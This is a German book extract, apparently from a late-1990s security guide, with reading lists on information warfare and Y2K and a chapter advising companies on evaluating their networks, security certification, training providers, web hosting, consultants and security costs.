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Introduction to Information Warfare. Edward L. Waltz. 1998. ISBN: 089006511X.
U.S. Information Warfare Jane's Special 1997-1998. Jane's Information Group. ISBN: 710616406.
Information Warfare and Deterrence. Gary F. Wheatley und Richard E. Hayes. 1996. ISBN:
9996646211.
What Is Information Warfare? Martin C. Libicki. 1995. ISBN: 9996680614.
7.10 Informationsquellen zum Thema Y2K
Die folgenden Websites, Bücher und Publikationen geben einen tiefergehenden Einblick in das Thema
Y2K und seine Auswirkungen:
The National Institute of Standards and Technology (NIST) Y2K page. http:// www.nist.gov/y2k/.
MITRE/ESC Year 2000 Homepage. (Hervorragende Y2K-Berichterstattung der Mitre Corporation.)
http://www.mitre.org/research/y2k/docs/y2k_txthomepage.html.
The Federal Year 2000 COTS Product Database. (Eine Datenbank, die die Y2K-Konformität
kommerzieller Applikationen prüft. Dies ist eine sehr nützliche Informationsquelle, um herauszufinden,
welche Software Y2K-konform ist. Eine Suchmaschine steht zur Verfügung.)
http://y2k.policyworks.gov/.
U.S. Federal Government Gateway for Year 2000 Information Directories. http://
www.itpolicy.gsa.gov/mks/yr2000/y2khome.htm.
The Year 2000-Meeting the Challenge. (Eine Y2K-Informationsquelle der Defense Information Systems
Agency.) http://www.disa.mil/cio/y2k/cioosd.html.
The U.S. Army's Y2K site. (Diese Site hat eine Suchmaschine. Sie bietet einige Armee-Dokumente, die
sich auf praktische Lösungen konzentrieren sowie Warnungen für verschiedene Applikationen und
Ressourcen.) http://www.army.mil/army-y2k/Home.htm.
The Federal Aviation Administration's Year 2000 site. (Ein guter Platz, um herauszufinden, ob
Flugzeuge nach Y2K in der Luft bleiben.) http://www.faay2k.com/.
Year 2000 Date Problem - Support Centre. (Eine gute britische Site zum Thema Y2K.)
http://www.compinfo.co.uk/y2k.htm.
Public Building Service Year 2000 Vendor Product Database. (Noch eine von der amerikanischen
Regierung gesponsorte Datenbank zu Y2K-Konformität, von der General Services Administration.)
http://globe.lmi.org/lmi_pbs/y2kproducts/.
Year 2000 Tools Evaluation Reports at Scott Air Force Base. (Fallstudien und Index für Konformität,
Tools und Auswirkungen.) http://137.241.169.16/RENG/index.html#2000.
Topic: Year 2000 Risks: What Are the Consequences of Technology Failure? (Statement of Hearing
Testimony; Subcommittee on Technology and Subcommittee on Government Management, Information,
Kriegsführung im Internet
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and Technology.) http://www.house.gov/science/couffou_3-20.html.
Chip Level Problems. (Von Richard Collins betriebene Seite. Diese Site beschäftigt sich mit
verschiedenen Y2K-Problemen auf BIOS-Ebene.) http://www.y2k-status.org/ChipProblems.htm .
IT2000. (Amerikanische Mailbox zur Diskussion der verschiedenen Aspekte von Y2K. Hier finden Sie
viele gute Informationsquellen.) http://it2000.com/.
Y2K Links. (Eine allgemeine Site, die eine Datenbank nicht nur für Y2K-Links, sondern auch für
Konformitätsaspekte beinhaltet.) http://www.y2klinks.com/.
TickTickTick. (Site eines Newsletters zum Thema Y2K.) http://tickticktick.com/.
Year 2000 Disclosure Task Force Survey. (Studie zum Thema Konformität von Unternehmen.)
http://www.sec.gov/news/extra/y2kcfty.htm.
The SEC and the Year 2000. (Site der Securities and Exchange Commission über Y2K.)
http://www.sec.gov/news/home2000.htm.
Legal Guidelines on Millennium Date Change Issues User Guide. Tarlo Lyons. http://
www.year2000.com/archive/legalguide.html.
Ready or Not, Here It Comes. (Ein Bericht von J. P. Morgan über Y2K.)
http://www.jpmorgan.com/MarketDataInd/Research/Year2000/index.html .
State Issues. (Eine GSA-Site, gesponsort vom Chief Information Officers (CIO) Committee on Year
2000. Diese Site gibt einige Links zu Sites der amerikanischen Regierung zum Thema Y2K. Viele davon
enthalten interessante Fallstudien und Risikoeinschätzungen.)
http://www.itpolicy.gsa.gov/mks/yr2000/state.htm.
Bücher zum Thema Y2K
Electric Utilities and Y2k. Rick Cowles. 1998. ISBN: 0966340213.
The Millenium Bug: Gateway to the Cashless Society? Mark A. Ludwig. 1998. ISBN: 0929408209.
The Year 2000 Computer Crisis: An Investor's Survival Guide. Tony Keyes. 1997. ISBN: 0965893901.
Y2K: It's Already Too Late. Jason Kelly. 1998. ISBN: 0966438701. (Dies ist ein Roman, der sich gut
lesen läßt.)
Year 2000: Best Practices for Y2K Millennium Computing. Kathryn Jennings. 1998. ISBN: 0136465064.
(Verschiedene IT-Experten nehmen es mit Y2K auf.)
Year 2001: Reaching Y2k Compliance After the Deadline. Stewart Miller. 1998. ISBN: 1555582206.
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Kriegsführung im Internet
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1
John Arquilla und David Ronfeldt, International Policy Department, RAND. 1993 Taylor & Francis
ISBN 0149-5933/93.
2
»The First Internet War; The State of Nature and the First Internet War: Scientology, its Critics,
Anarchy, and Law in Cyberspace.« David G. Post, Reason magazine. April 1996. (© 1996 David G.
Post. Permission granted to redistribute freely, in whole or in part, with this notice attached.)
Markt+Technik, ein Imprint der Pearson Education Deutschland GmbH.
Elektronische Fassung des Titels: hacker's guide, ISBN: 3-8272-5460-4
Kriegsführung im Internet
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8
Sicherheitskonzepte
Dieses Kapitel legt seinen Schwerpunkt darauf, was Sie bei der Wahl von Internet-Sicherheitslösungen
für Ihr Unternehmen beachten sollten.
8.1 Wir brauchen das Internet und wir brauchen es
sofort
Tausende Unternehmen reißen sich darum, online zu gehen. Wenn Ihr Unternehmen auch dazu gehört,
ist dieses Kapitel für Sie genau richtig. Es behandelt die folgenden Aspekte:
Wie Sie Ihre spezielle Situation evaluieren
Wie Sie Schulungen finden
Wie Sie einen Berater finden
8.2 Evaluierung Ihrer speziellen Situation
Eine bekannte Situation: Ein LAN-Administrator ist gerade mit irgend etwas beschäftigt, als eine Gruppe
von Leuten aus der Verwaltung auftaucht. Sie wollen, daß das Unternehmen ins Internet geht und sie
wollen es gestern. In diesem Moment wird das Leben des LAN-Administrators auf den Kopf gestellt.
Tatsache ist, daß manche Netzwerk-Spezialisten nicht viel über Sicherheit im Internet wissen. Das
Thema ist ziemlich obskur und wenn Sie keinen bestimmten Grund haben, sich damit zu beschäftigen, ist
es komplette Zeitverschwendung. Wo fangen Sie also an?
8.2.1 Zusammentragen von Informationen
Der erste Schritt ist wahrscheinlich der schmerzhafteste. Bevor Sie Berater kontaktieren oder
Sicherheitslösungen einkaufen, sollten Sie zunächst einmal Informationen über Ihr Netzwerk sammeln:
Hardware. Notieren Sie Fabrikat, Hersteller, Modell und Serie jeder der folgenden Komponenten:
Workstations, Hubs, Router und Netzwerk-Adapter. Stellen Sie sicher, daß Sie auch Angaben über
die Systemressourcen machen, wie z.B. Speicher, Festplattenkapazitäten etc.
Sicherheitskonzepte
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Software. Bestimmen Sie die Netzwerk-Software, die auf Ihrem System laufen soll, und stellen
Sie eine Liste ihrer Basis-Applikationen auf.
Protokolle. Legen Sie die Protokolle fest, die Sie benutzen (oder deren Benutzung Sie planen).
Notieren Sie auch die Art der Konnektivität, die Sie haben oder haben werden.
Sonstiges. Beschreiben Sie Ihre Workstations, ihren Standort, wo Netzwerk-Segmente bestehen,
wo Sie eine Erweiterung planen und alle Dinge, die irgendwie relevant sein könnten. (Wenn Sie
z.B. ältere Novell-Systeme haben, arbeiten diese wahrscheinlich mit unverschlüsselten
Paßwörtern. Notieren Sie sich Dinge wie diese.)
Danach sollten Sie ein Modell der Vertrauensverhältnisse in Ihrem Unternehmen aufstellen. Stellen Sie
in diesem Modell Benutzer- und Rechnerprivilegien und Vertrauensbeziehungen dar. Es lohnt sich, dies
in grafischer Form zu tun, falls Sie es anderen präsentieren müssen.
Diese Informationen sollten zusammen mit den folgenden Dingen in einen Ordner gesteckt werden:
Einer Erklärung des Systemadministrators (auch wenn Sie das selbst sind) über Systemsicherheit.
Diese Erklärung sollte beinhalten, ob kundenspezifische Software geschrieben wurde, welche Art
von Sicherheits-Utilities eingesetzt werden, welche nicht eingesetzt werden konnten und warum.
Einer Erklärung über auferlegte Sicherheitsrichtlinien, einer Aufstellung über
Sicherheitsdurchbrüche (wenn es welche gab), usw.
Diese Informationen stellen Ihnen eine wertvolle Wissensbasis zur Verfügung. Von hier ausgehend
können Sie bestimmen, welche Produkte und Dienstleistungen Sie brauchen. Außerdem werden Sie in
der Lage sein, sämtliche Fragen seitens Beratern oder Anbietern zu beantworten. Der nächste Schritt
besteht nun darin, herauszufinden, wo Sie diese finden.
8.3 Zertifizierung
Ein Ansatz ist es, Ihr System von einem anerkannten Team von Experten prüfen und zertifizieren zu
lassen. Nachdem Ihr System untersucht wurde, erhält es ein Sicherheitszertifikat. Im nächsten Abschnitt
finden Sie einige Unternehmen, die Zertifizierungen durchführen. Diese dienen auch als Beipiele dafür,
worum es bei der Zertifizierung geht.
Coopers & Lybrand L.L.P., Resource Protection Services (USA)
Coopers & Lybrand L.L.P., Resource Protection Services
Tel.: +1-800-639-7576
E-Mail: Bruce.Murphy@us.coopers.com
URL: http://www.us.coopers.com/cas/itsswww0.html
Die Coopers & Lybrand's Resource Protection Services Group besteht aus den Information Technology
Security Services und den Business Continuity Planning (BCP) Services. Ihre Experten bieten eine ganze
Reihe von Sicherheits- und BCP-Leistungen, wie Sicherheitsimplementierung, Electronic Commerce und
Kryptographie, technische Sicherheitsanalyse und -design, Testangriffe, Sicherheitsmanagement und
Business Continuity Planning mit Hilfe ihrer als Marke angemeldeten CALIBER-Methodik.
Sicherheitskonzepte
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Die Abteilung Information Technology Security Services hat sich auf Tests und Zertifizierungen für die
folgenden Gebiete spezialisiert:
Unix-Sicherheitsdienste
Sicherer Electronic Commerce
Microsoft Windows NT
Novell NetWare
Testangriffe
Risikoabschätzung
Sicherheitsstrategien
Coopers & Lybrand bietet Sicherheit sowohl für große als auch für kleine Unternehmen. Zum Beispiel
hat C&L die Zertifizierung von Windows NT 4.0 für Microsoft übernommen.
The American Institute of Certified Public Accountants (AICPA)
American Institute of Certified Public Accountants
Tel.: +1-212-596-6200
Fax: +1-212-596-6213
URL: http://www.aicpa.org/
Das American Institute of Certified Public Accountants (AICPA) hat das
WebTrust-Zertifizierungssystem entwickelt. Während des WebTrust-Zertifizierungsprozesses evaluieren
in Datensicherheit geschulte CPAs (Wirtschaftsprüfer) ihr System anhand folgender Aspekte:
Transaktionsintegrität
Verschlüsselung und sichere Kommunikation
Beste Sicherheitspraxis
Bei erfolgreicher Zertifizierung erhalten Sie ein VeriSign-Sicherheitszertifikat und das
WebTrust-Zertifizierungssiegel. Das WebTrust-Siegel teilt potentiellen Kunden mit, daß ein CPA die
Geschäftspraktiken und -kontrollen des Betreibers einer Website evaluiert hat und bestimmt hat, daß sie
konform gehen mit den WebTrust-Prinzipien und -Kriterien für Business-to-Customer Electronic
Commerce. Außerdem verweist das Siegel auf einen Bericht mit dem Inhalt, daß die mit den
WebTrust-Kriterien konformen Prinzipien befolgt werden. Diese Prinzipien und Kriterien reflektieren
grundlegende Standards für Geschäftspraktiken, Transaktionsintegrität und Datenschutz.
Das WebTrust-System ist einer Wirtschaftsprüfer-Zertifizierung Ihrer Unternehmensvermögen, -gewinne
und -verluste ganz ähnlich. Die Zertifizierung erfogt durch die Unterschrift und Versicherung eines
ausgebildeten Experten in einem bestimmten Fachgebiet.
AICPA ist auch der führende Anbieter von Schulungen für CPA-Unternehmen im Bereich der
IT-Sicherheit und -integrität. AICPA hat den Bedarf für Zertifizierungsdienste im Bereich Electronic
Commerce früh erkannt und erreicht mit seinen Schulungen allein in den USA etwa 300.000
IT-Sicherheits- und Finanzexperten.
Sicherheitskonzepte
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International Computer Security Association (vorher NCSA)
International Computer Security Association
Tel.: +1-717-258-1816
E-Mail: info@icsa.net
URL: http://www.icsa.com/
Die International Computer Security Association (früher bekannt als National Computer Security
Association) ist der größte Anbieter für Computersicherheit-Zertifizierungsverfahren. Ihre Mission ist
eine Erhöhung des öffentlichen Vertrauens in Computersicherheit durch ein Programm zur Zertifizierung
von Produkten und Dienstleistungen.
Neben der Zertifizierung für Produkte bietet die ICSA auch Zertifizierungsverfahren für Netzwerke. Dies
geschieht mit Hilfe ihres TruSecure-Programms, ein Service, der das Testen und Zertifizieren Ihrer
Web-Server und Firewalls sowie der Arbeitsabläufe Ihres Netzwerks beinhaltet.
Nach Abschluß des Zertifizierungsverfahrens erhält Ihr Unternehmen ein Sicherheitssiegel von
ICSA.COM, der Ihr Netzwerk zertifiziert.
Außerdem ist ICSA die Nummer eins unter den Zertifizierungsunternehmen im öffentlichen Bereich.
ICSA prüft und bescheinigt alle der folgenden Produkte:
Anti-Virus-Software
Netzwerk-Firewalls
Internet-Filter-Software
Kryptographieprodukte
Biometric-Produkte
IPSec-zertifizierte Produkte
Troy Systems
Troy Systems
Tel.: +1-703-218-5300
Fax: +1-703-218-5301
E-Mail: busdev@troy.com
URL: http://www.troy.com/
Troy Systems' Information Systems Security unterstützt die Regierung und kommerzielle Kunden in den
Gebieten Sicherheitsplanung, Risiko-Management, Sicherheitstests und -evaluierung, Prüfung von
Schwachstellen, technische Gegenmaßnahmen, Kontingentplanung, Internet/Intranet-Sicherheit,
Schulung und Bewußtseinserhöhung und Zertifizierung und Akkreditierung.
Troy Systems arbeitet für mehrere Regierungsbehörden (z.B. sicherte sich Troy Systems kürzlich einen
Sicherheitskonzepte
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Vertrag mit der U.S. Army Medical Information Systems and Services Agency).
Zertifizierung als eine Garantie bei Haftungsfragen
Das Problem in Hinsicht Zertifizierung ist die Höhe der Kosten. Um ehrlich zu sein, ist eine
Zertifizierung außerdem auch nicht unbedingt eine Garantie für Sicherheit. Tatsächlich zeigt sie vor
allem, daß Ihr Unternehmen sich in punkto Sicherheit einige Gedanken macht. Dies kann ein kritischer
Punkt sein, wenn Sie nicht nur für den Schutz Ihrer eigenen Daten, sondern auch der Daten anderer
verantwortlich sind.
Haftung ist ein Monster, das sich zwar bisher noch nicht um den Hals des Internet gelegt hat, aber es
wird dazu kommen. (Besonders da mehr und mehr vertrauliche Daten in das Internet gesetzt werden.)
Wenn Sie für den Schutz von Daten anderer verantwortlich sind, ist Zertifizierung ein Weg, um sich auf
eine Verteidigung gegen eine Anklage wegen Fahrlässigkeit vorzubereiten.
Wenn es bei Ihnen zu einem Sicherheitsloch kommt und vertrauliche Daten von Ihrem Server
entweichen, werden Sie wahrscheinlich einem Prozeß entgegensehen. Denken Sie an das AOL-Debakel
vor einiger Zeit. Ein Marine-Offizier mit 17 Jahren Erfahrung hatte einen Account bei America Online.
In seiner persönlichen Darstellung (unter seinem Decknamen) gab er als Familienstand »Homosexuell«
an. Ein Marine-Untersucher kontaktierte zu einem späteren Zeitpunkt AOL und verlangte die
Herausgabe der wahren Identität, die hinter diesem AOL-Profil steckte. Beschäftigte von AOL gaben
daraufhin den richtigen Namen des Offiziers heraus. Die Marine entließ in der Folge den Offizier mit der
Begründung, daß er die »Nichts fragen, nichts sagen«-Richtlinie des Militärs verletzt habe. Es scheint,
daß AOL seine eigenen Richtlinien in punkto Privatsphäre verletzt hat. Es wird sicherlich zu einem
Gerichtsverfahren kommen.
Zwar betrifft der AOL-Fall nicht das eigentliche Eindringen in ein Netzwerk, aber er dient doch als
Warnung. Wenn Sie es versehentlich zulassen, daß vertrauliche Daten herauskommen, können Sie sich
sehr schnell vor Gericht wiederfinden. Zertifizierung kann Ihrer Verteidigung nützlich sein, da sie Ihre
Sorgfalt in punkto Sicherheit beweist.
Abgesehen von theoretischen und moralischen Aspekten der ganzen Angelegenheit wird die Anklage im
realen Leben Schwierigkeiten haben, einen Fall von Fahrlässigkeit zu beweisen, wenn Sie vorweisen
können, daß Ihr Unternehmen die besten erhältlichen Standards einsetzte, als (und unmittelbar bevor) das
Sicherheitsloch entstand.
8.4 Wo finden Sie Schulungen?
Ein anderer Weg zur Sicherung Ihres Systems ist es, Ihr eigenes Personal zu schulen. Ich favorisiere
diese Lösung, weil sie eine kluge Investition darstellt. Außerdem sind unternehmensinterne
Sicherheitslösungen fast immer eine bessere Idee.
8.4.1 Generelle Schulungen
Dieser nächste Abschnitt listet einige gute Anbieter für generelle Schulungen zum Thema
Internet-Sicherheit auf:
Sicherheitskonzepte
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Lucent Technologies, Inc.
Lucent Technologies, Inc.
Tel.: +1-800-288-9785
URL: http://www.lucent.com/
Lucent Technologies bietet Schulungen zu den Themen Netzwerk-Sicherheit, Firewalls (vor allem die
Lucent Managed Firewall) und Netzwerk-Management. Teilnehmer, die eine Lucent-Schulung
abschließen, erhalten ein Lucent Technology Security Administration-Zertifikat.
Great Circle Associates, Inc.
Great Circle Associates, Inc.
Tel.: +1-800270-2562
Fax: +1-650-962-0842
URL: http://www.greatcircle.com/
Great Circle Associates bietet technische Vor-Ort-Schulungen in den folgenden Bereichen:
Einrichtung einer sicheren Website
Grundlagen der Internet-Technologie
Internet-Firewalls
Unix-Systemadministration
Great Circle Associates ist eine wichtige Quelle für Schulungen und Beratungen auf dem Gebiet sichere
Netzwerkarchitektur und -design. Brent Chapman, der Präsident des Unternehmens, ist der Autor von
Building Internet Firewalls, einem Industrie-Standardwerk für Netzwerk-Administratoren.
Learning Tree International
Learning Tree International
Kontakt: Linda Trude
Tel..: +1-800-843-8733
Fax: +1-800-709-6405
E-Mail: uscourses@learningtree.com
URL: http://www.learningtree.com/
Learning Tree bietet viertägige praxisnahe Intensivkurse über Unix-Sicherheit, Windows- NT-Sicherheit,
Internet/Intranet-Sicherheit und Firewalls sowie mehr als 130 weitere IT- Themen. Der wichtigste
Firewall-Kurs ist »Deploying Internet and Intranet Firewalls: Hands-On«, der die folgenden Aspekte
umfaßt:
Sicherheitskonzepte
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Verstärken von NT und Unix
Auditing
Praktisches Konfigurieren und Testen von Firewalls
NSC Systems Group, Inc.
NSC Systems Group, Inc.
Tel.: +1-800-414-8649
Fax: +1-770-396-1164
E-Mail: kellim@nscedu.com
URL: http://www.nscedu.com/
NSC System Group bietet einige sehr attraktive Schulungen in den folgenden Bereichen an:
Konfiguration und Wartung von Firewalls
Aufdecken unbefugten Eindringens in ein Netzwerk
Kerberos
SATAN
Diffie-Hellman-Kryptographie
Digitale Unterschriften
S/KEY
PGP (Pretty Good Privacy)
Training On Video
Training On Video
Tel.: +1-800-408-8649
E-Mail: web@trainonvideo.com
URL: http://www.trainonvideo.com/netsec.htm
Training On Video bietet ein interessantes Produkt namens Internet Security Solutions Video. Diese
Videopräsentation von 4½ Stunden Dauer wird von dem bekannten Sicherheitsspezialisten H. Morrow
Long geleitet (Long ist für die Sicherheit der Yale University verantwortlich). Hier sind einige der
Themen, die in der Videopräsentation behandelt werden:
Entwickeln und Realisieren eines Sicherheitsplans
Firewalls verstehen
TCP/IP-Netzwerk-Sicherheit
Authentifizierung, Datenintegrität und Privatsphäre
Einrichten sicherer Domain-Name-Systeme
Sicherheitskonzepte
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Sicherung von Web-Clients und -Servern
Entscheidung über die Art der eingesetzten Filterprogramme
Electronic Commerce
8.4.2 Fortgeschrittenere Schulungen
Wenn Sie sehr sensible Daten schützen müssen, brauchen Sie Industrie-intensive Schulungen . Hierfür
empfehle ich Ihnen die Sytex, Inc. oder die Syracuse Research Corporation.
Sytex, Inc.
Sytex, Inc.
Tel.: +1-410-312-9114
Fax: +1-410-312-9118
E-Mail: lmasser@sso.sytexinc.com
URL: http://www.sytexinc.com/
Sytex, Inc. ist ein Internet-Sicherheits-/Informationskriegs-Unternehmen, das (neben anderen Dingen)
fortgeschrittene IT-Sicherheitsschulungen bietet. Zu den erwähnenswerten Sytex-Kunden gehören:
Federal Bureau of Investigation (FBI)
Joint Logistics Systems Center
National Security Agency
U.S. Army Special Operations Command
U.S. Army's Communications and Electronics Command
U.S. Army's Land Information Warfare Activity
U.S. Army's Project Manager for Information Warfare
Sytexs Angebot beinhaltet die vielleicht umfassendsten Schulungen im Bereich IT-Sicherheit in ganz
Amerika, darunter zwei Kurse, die eingerichtet wurden, um den speziellen Bedarf für Gesetzeshüter,
Geheimdienstoffiziere und Systemadministratoren zu decken. Die Kursteilnehmer lernen Details darüber,
wie Netzwerke arbeiten und wie Eindringlinge diese Netzwerke ausbeuten. (Die Kurse wurden auf
Anfrage einer wichtigen amerikanischen Untersuchungsbehörde eingerichtet. Derzeit werden über 200
Spezialagenten im Rahmen dieser Kurse geschult).
Was die Sytex-Kurse wirklich von anderen abhebt, ist die Tatsache, daß die Teilnehmer mit realen
Vorfällen, Protokollen und Crackern umgehen müssen. In dieser praxisnahen Umgebung lernen die
Teilnehmer, ihr Wissen in einer praktischen und effektiven Art und Weise anzuwenden. (Es geht doch
nichts über reale Lebenserfahrungen.)
Hinweis:
Sicherheitskonzepte
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Digital Tradecraft umfaßt die Praktiken elektronischer Spionagetechniken, einschließlich:
Hardware-basierte Verschlüsselung
Mail-Ausschnitte - Anonyme Rückmailer
Mikropunkte und Geheimschrift - Steganographie-Software
Versteckte persönliche Treffen im Cyberspace
Die heutige Geheimdienstgemeinde beginnt gerade erst das Potential des Internet in bezug auf
Spionage zu nutzen. Systex, Inc. hat für diesen Zweck modernste Techniken entwickelt.
Sytex bietet Schulungen auf den folgenden Gebieten an:
Netzwerk-Protokolle
Netzwerk-Hardware und -Architekturen
Auditing
Attacke, Eindringen und Analyse
Digital Tradecraft
8.5 Web-Hosting als eine Lösung
Eine andere Möglichkeit besteht darin, es ganz und gar zu vermeiden, eigene Server zu betreiben.
Vielleicht brauchen Sie ja nur zwei oder drei Domains und ein Extranet für Ihre Kunden. Wenn das so
ist, sollten Sie Web-Hosting in Betracht ziehen.
Web-Hosting heißt, daß Ihre Server in den Büros eines Internet Service Providers stehen. In diesem Fall
zahlen Sie eine monatliche Gebühr und der Provider ist für die Sicherheit der Site verantwortlich.
Es gibt erhebliche Unterschiede in der Höhe der Gebühren für Web-Hosting, abhängig von den Services,
die Sie brauchen. Zusätzliche Gebühren können entstehen, wenn Sie die maximale Bandbreite
überschreiten oder spezielle Services benötigen.
Wenn Ihr Unternehmen nicht mehr will, als Informationen für die Öffentlichkeit zur Verfügung zu
stellen, ist dies der Weg, den Sie gehen sollten. Sie vermeiden dadurch viele Kosten, die durch die
Wartung Ihrer eigenen Server entstehen würden, darunter:
Monatliche Telefongebühren für digitale Business-Leitungen
Gebühren für Schulungen im Bereich Sicherheit
Kosten für Firewalls, Bridges, Router usw.
Zertifizierungskosten
Außerdem haben die meisten Internet Service Provider die nötigen Mittel für sichere
Kreditkarten-Transaktionen, Kreditkartenabrechnung, VPNs, Extranets, EDI und andere
Schlüsselkomponenten in bezug auf Electronic Commerce zur Hand. Sie können eine Menge Geld
sparen, wenn Sie ihr Wissen und ihre Erfahrung nutzen.
Sicherheitskonzepte
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8.6 Die Dienste eines externen Sicherheitsberaters
in Anspruch nehmen
Wenn Ihr Unternehmen dagegen eigene Server haben muß, können Sie trotzdem viele
sicherheitsrelevante Aufgaben auslagern. Bevor Sie jedoch einen beträchtlichen Betrag in einen
Sicherheitsberater investieren, sollten Sie ein paar Dinge wissen.
Der Sicherheitssektor ist in der letzten Zeit explodiert. Einige Schätzungen gehen von einer
Steigerungsrate von 500 % für den Sicherheitsmarkt innerhalb der nächsten drei Jahre aus. Der
Sicherheitsbereich unterscheidet sich jedoch von anderen Bereichen, z.B. Medizin oder Jura. Es gibt in
diesem Bereich keinerlei Dokumente, die einen Sicherheitsexperten auch als solchen ausweisen.
Natürlich gibt es Zertifizierungsprogramme und Sie werden vielleicht hören, daß dieser Berater ein
zertifizierter Microsoft-Ingenieur ist oder ein anderer CNE. Das ist toll, aber es gibt Ihnen keinerlei
Garantie, daß diese Leute Ihre Site tatsächlich schützen können.
Direkt gesagt geben sich viele Unternehmen jeder Art und Größe als Sicherheitsexperten aus, eben weil
der Markt so lukrativ ist. Leider sind viele der sogenannten Sicherheitsspezialisten gar keine, sondern
haben lediglich große Erfahrung im Netzwerkbereich.
Wenn Sie uneingeschränkte Mittel zur Verfügung haben, können Sie eine der großen, anerkannten
Sicherheitsunternehmen als Berater verpflichten. Ist Ihr Unternehmen jedoch eher klein, werden Sie ein
kleineres, weniger bekanntes Unternehmen zur Beratung heranziehen müssen. Das bringt uns zu einem
anderen Punkt: den Kosten.
8.7 Kosten
Wieviel sollte Sicherheit kosten? Das hängt von Ihren speziellen Bedürfnissen ab. Hier sind einige
Faktoren, die die Höhe der Kosten beeinflussen werden:
Ihre Netzwerk-Architektur
Ihr Vertrauen in proprietäre Lösungen
Wie gut Sie Ihre bestehenden Sicherheitsinformationen organisiert haben
Die Art der Daten, die Sie schützen wollen
Lassen Sie uns jeden Faktor kurz anschauen.
8.7.1 Ihre Netzwerk-Architektur
Ein homogenes Netzwerk mit einheitlichen Applikationen wird Ihre Kosten senken.
Hinweis:
Einheitliche Applikationen heißt, daß alle Workstations und alle Abteilungen die gleichen Applikationen
benutzen.
Der Grund dafür besteht darin, daß Sicherheitsrichtlinien und -maßnahmen einfach auf das gesamte
Sicherheitskonzepte
file:///d|/cool stuff/old/hack/kap08.htm (10 von 14) [19.04.2000 21:14:28]
System dupliziert werden können. Sogar bestimmte Betriebssystem-Kombinationen können mit einem
Pauschalangebot abgedeckt werden. Es existieren beispielsweise Tools, die Management und Sicherheit
von NT und Netware gleichzeitig zentralisieren können.
Hinweis:
LT Auditor+ von Blue Lance ist ein gutes Beispiel. LT Auditor+ Version 5.0 bietet Echtzeit-Filter und
-Berichterstellung, automatisierte Warnungen und zentralisiertes Management für NetWare- und
Windows NT-Server zusammen.
Umgekehrt werden sich Ihre Kosten für Sicherheit natürlich erhöhen, wenn in Ihrem Netzwerk viele
verschiedene Betriebssysteme laufen, da dann ein Sichern viel komplexer wird.
Ihr Sicherheitsteam muß dann vielleicht Hilfe von außen in Anspruch nehmen. Unix-Spezialisten
beispielsweise wissen möglicherweise so gut wie nichts über MacOS. Wenn sie auf ein ganzes
Netzwerk-Segment treffen, das aus Macintosh-Rechnern besteht, müssen sie möglicherweise einen
weiteren Spezialisten hinzuziehen. Oder es kann sein, daß Ihre Berater sich dazu gezwungen sehen,
zumindest einige proprietäre Codes einzusetzen: ihre eigenen. Das bringt uns zu einem anderen Faktor,
der die Höhe der Kosten beeinflußt: Ihr Vertrauen in proprietäre Lösungen.
8.7.2 Ihr Vertrauen in proprietäre Lösungen
Ich kann Ihnen genau sagen, was ein Sicherheitsteam nicht hören will:
»Naja, der Programmierer, der das System ursprünglich für uns entwickelt hat, ist tot oder untergetaucht.
Und weil er es aus dem Nichts geschrieben hat, konnten wir es nicht einfach in eine
Microsoft-Umgebung importieren. Natürlich wissen wir, daß es alt ist, aber so ist es halt.«
Es gibt viele Unternehmen, die in einer derartigen Lage stecken. Wenn Ihr Unternehmen dazugehört,
wird es Sie teuer zu stehen kommen. Wenn Sie beispielsweise eine proprietäre Datenbank haben und Sie
einen Zugang zu dieser über das Web einrichten wollen, wird Sie das ein Vermögen kosten (sogar schon
bevor Sie mit der Sicherung anfangen).
8.7.3 Wie gut Sie Ihre bestehenden Sicherheitsinformationen
organisiert haben
Am Anfang dieses Kapitels gab ich Ihnen den Tip, eine Menge Informationen über Ihr Netzwerk
zusammenzutragen. Anfänglich erscheint dies vielleicht etwas komisch, aber es kann Ihnen eine Menge
Geld sparen.
Wenn ein Sicherheitsteam zum ersten Mal in Ihr Büro kommt, weiß es so gut wie nichts über Ihr
Netzwerk. Und wenn Sie die relevanten Informationen nicht zur Verfügung stellen können, können Ihre
Kosten erheblich in die Höhe klettern.
Ich habe im letzten Jahr ein Dutzend Unternehmen besucht, und nur eines davon hatte im Vorfeld die
Informationen gesammelt, die ich vorher beschrieben habe. Statt dessen beginnen die meisten
Unternehmen mit einer Tour durch das Unternehmen, die in der Regel von einem
Verwaltungsangestellten (der nichts über das Netzwerk weiß) und vom Systemadministrator (der
Sicherheitskonzepte
file:///d|/cool stuff/old/hack/kap08.htm (11 von 14) [19.04.2000 21:14:28]
verständlicherweise verärgert ist, weil ich mich in seine Angelegenheiten einmische) geleitet wird.
Keiner von beiden kann mir große Einblicke bieten. Ich weiß sofort, daß ich mehrere Wochen brauchen
werde, um die Informationen zusammenzutragen, die ich eigentlich schon hätte haben sollen.
Machen Sie diesen Fehler nicht - er wird Ihre Kosten in erheblichem Maße steigern. Wenn ein
Sicherheitsteam bei Ihnen eintrifft, sollten Sie jede erdenkliche Information zur Hand haben. (Vielleicht
möchten Sie ja einige Informationen zurückhalten, um die Aufmerksamkeit und die Sachkenntnis des
Teams zu testen, trotzdem sollten Sie auch diese Informationen fertig haben.)
Und schließlich gibt es noch einen letzten Faktor, der einen Einfluß auf die Höhe der Kosten ausübt: die
Art der Daten, die Sie schützen wollen.
8.7.4 Die Art der Daten, die Sie schützen wollen
Die meisten Unternehmen streben eine Internet-Präsenz entweder zu Werbezwekken für die
Öffentlichkeit an oder weil sie das Internet als ihre private Festverbindung nutzen wollen. Dadurch
können sie regionale Zweigstellen zu einem Bruchteil der Kosten einer richtigen Festverbindung
vernetzen.
Das erste Szenario ist kein Problem. Wenn jemand einen Server attackiert und herunterfährt, der
Informationen für Werbezwecke enthält, können Sie ihn innerhalb weniger Stunden wiederherstellen. In
diesem Fall gibt es keinen Grund, hyperwachsam in Hinsicht auf Sicherheit zu sein. Sie wenden einfach
die besten Sicherheitsmethoden an und das war's.
Wenn Sie das Internet benutzen, um Zweigstellen (oder ähnliches) zu vernetzen, müssen Sie sich jedoch
mehr Sorgen machen. (Besonders, wenn Sie proprietäre, vertrauliche oder geheime Daten über das
Internet austauschen wollen.) Dies wird die Kosten für die Sicherung Ihres Systems erheblich in die
Höhe schrauben.
Ein Produkt, das die Kosten für das Vernetzen von Zweigstellen reduzieren kann, ist Netfortress.
Netfortress
Fortress Technologies
Tel.: +1-813-288-7388
Fax: +1-813-288-7389
E-Mail: info@fortresstech.com
URL: http://www.fortresstech.com/
Netfortress ist eine Plug-in-VPN-Lösung mit folgenden Merkmalen:
128-Bit IDEA-verschlüsselte Sessions
Testen und Verifizieren von Echtzeit-Verschlüsselungen
